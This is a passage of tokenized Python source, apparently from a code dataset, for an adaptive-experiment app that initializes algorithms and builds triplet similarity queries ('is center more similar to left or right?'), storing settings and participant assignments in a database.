"error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assign", " ", "uid", " ", "to", " ", "each", " ", "algo", "rit", "hm", " ", "and", " ", "save", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "utils_", "._", "get", "New", "UID_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "=_", "alg", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ",_", "alg", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "app", "\\u", "id", "'_", ",_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "n", "'_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "d", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", ",_", "delta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "list", "'_", ",_", "alg", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", ",_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", ",_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "instruct", "ion", "s", "'_", ",_", "instructions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "deb", "rie", "f", "'_", ",_", "deb", "rie", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "num", "\\u", "trie", "s", "'_", ",_", "num", "\\u", "tries_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "git", "\\u", "hash", "'_", ",_", "git", "\\u", "hash_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "create", " ", "inti", "tial", "ize", " ", "each", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "algorithm_", "._", "get_", "(_", "'", "params", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "uid", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "call", " ", "init", "Exp_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "init", "Exp_", ")_", "(_", "resource_", "=_", "rc_", ",_", "n_", "=_", "n_", ",_", "d_", "=_", "d_", ",_", "fail", "ure", "\\u", "probability_", "=_", "delta_", ",_", "params_", "=_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "duration", "'_", ":_", "dt_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "json_", "=_", "'{}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "log", "\\u", "entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Query_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "request", " ", "to", " ", "ask", " ", "the", " ", "query", ":", " ", "\"", "is", " ", "{", "center", "}", " ", "more", " ", "similar", " ", "to", " ", "{", "left", "}", " ", "or", " ", "{", "right", "}?", "\"", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "jsons", "truct", "ure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "participa", "nt", "\\u", "uid", " ", ":", " ", " ", "unique", " ", "identifi", "er", " ", "of", " ", "session", " ", "for", " ", "a", " ", "participa", "nt", " ", "answer", "ing", " ", "question", "s", " ", "(", "tha", "t", " ", "is", ",", " ", "an", " ", "email", " ", "address", " ", "is", " ", "not", " ", "good", " ", "eno", "ugh", " ", "as", " ", "the", " ", "participa", "nt", " ", "coul", "d", " ", "participa", "te", " ", "in", " ", "multiple", " ", "exp", "\\u", "uid", "s", " ", "so", " ", "it", " ", "wou", "ld", " ", "not", " ", "be", " ", "unique", " ", "against", " ", "all", " ", "experiment", "s", "),", " ", "if", " ", "key", " ", "non", "-", "exist", "ant", " ", "partic", "pant", "\\u", "uid", " ", "is", " ", "assign", "ed", " ", "as", " ", "exp", "\\u", "uid", ".", " ", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "output", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", " ", "\\", "10", ";", " ", " ", "(", "list", ")", " ", "target", "\\u", "indice", "s", " ", ":", " ", "list", " ", "tha", "t", " ", "store", "s", " ", "dictionar", "y", " ", "of", " ", "target", "s", " ", "with", " ", "fields", ":", "\\", "10", ";", " ", " ", " ", " ", "{", " ", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "(", "int", ")", " ", "index", " ", ":", " ", "the", " ", "index", " ", "of", " ", "the", " ", "target", " ", "of", " ", "relevance", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "(", "str", ")", " ", "label", " ", ":", " ", "in", " ", "{", "'", "left", "','", "right", "','", "center", "'}", " ", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "(", "int", ")", " ", "flag", " ", ":", " ", "integ", "er", " ", "for", " ", "algo", "rit", "hm", "'", "s", " ", "use", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "(", "str", ")", " ", "query", "\\u", "uid", " ", ":", " ", "unique", " ", "identifi", "er", " ", "of", " ", "query", " ", "(", "used", " ", "to", " ", "look", " ", "up", " ", "for", " ", "process", "Answer", ")", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Query", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "list", " ", "of", " ", "algo", "rit", "hms", " ", "associate", "d", " ", "with", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alg", "\\u", "list_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "id_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "uid_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "id_", "[_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "]_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "uid_", "[_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "]_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ASSIGN", " ", "ALGO", "RIT", "HM", " ", "TO", " ", "PARTI", "CIP", "ANT", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "participa", "nt", "\\u", "uid", "'_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "uid_", "=_", "args", "\\u", "dict_", "[_", "'", "participa", "nt", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "uid_", "=_", "exp", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "participa", "nt", "\\u", "doc", "\\u", "exists_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "exists_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "participa", "nt", "\\u", "uid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "\\u", "participa", "nt", "\\u", "query_", "=_", "not_", "participa", "nt", "\\u", "doc", "\\u", "exists_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "first", "\\u", "participa", "nt", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "participa", "nt", "\\u", "uid", "'_", ",_", "participa", "nt", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "participa", "nt", "\\u", "uid_", "==_", "exp", "\\u", "uid_", ")_", "or_", "(_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "==_", "'", "one", "\\u", "to", "\\u", "many", "'_", ")_", "or_", "(_", "first", "\\u", "participa", "nt", "\\u", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "==_", "'", "fixed", "\\u", "proportion", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proportion", "s", "\\u", "list_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "[_", "'", "proportion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prop_", "=_", "[_", "prop", "\\u", "item_", "[_", "'", "proportion", "'_", "]_", "for_", "prop", "\\u", "item_", "in_", "proportion", "s", "\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prop", "\\u", "item_", "=_", "numpy_", "._", "random_", "._", "choice_", "(_", "alg", "\\u", "list_", ",_", "p_", "=_", "prop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "mode", " ", ":", " ", "'_", "+_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "+_", "'", " ", "not", " ", "implemented", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alg", "\\u", "id_", "=_", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "id_", "[_", "prop", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "alg", "\\u", "label", "\\u", "to", "\\u", "alg", "\\u", "uid_", "[_", "prop", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label_", "=_", "prop", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "first", "\\u", "participa", "nt", "\\u", "query_", ")_", "and_", "(_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "==_", "'", "one", "\\u", "to", "\\u", "one", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ",_", "alg", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "==_", "'", "one", "\\u", "to", "\\u", "one", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "here", ",", " ", "then", " ", "alg", "\\u", "uid", " ", "shou", "ld", " ", "alr", "ead", "y", " ", "be", " ", "assign", "ed", " ", "in", " ", "participa", "nt", " ", "doc_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "participa", "nt", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", " ", ":", " ", "'_", "+_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "+_", "'", " ", "not", " ", "implemented", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "id", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "call", " ", "get", "Query_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "center_", ",_", "index", "\\u", "left_", ",_", "index", "\\u", "right_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "get", "Query_", ")_", "(_", "resource_", "=_", "rc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Query", "'_", ",_", "'", "duration", "'_", ":_", "dt_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "._", "update_", "(_", "rc_", "._", "get", "Dur", "ations_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "=_", "{_", "'", "log", "\\u", "entry", "\\u", "duration", "s", "'_", ":_", "log", "\\u", "entry", "\\u", "durations_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "JSO", "N", " ", "query", " ", "payload_", "\\u\\u\\uNL\\u\\u\\u_", "timestamp_", "=_", "str_", "(_", "utils_", "._", "datetime", "Now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "uid_", "=_", "utils_", "._", "get", "New", "UID_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "[_", "'", "query", "\\u", "uid", "'_", "]_", "=_", "query", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "[_", "'", "target", "\\u", "indice", "s", "'_", "]_", "=_", "[_", "{_", "'", "index", "'_", ":_", "index", "\\u", 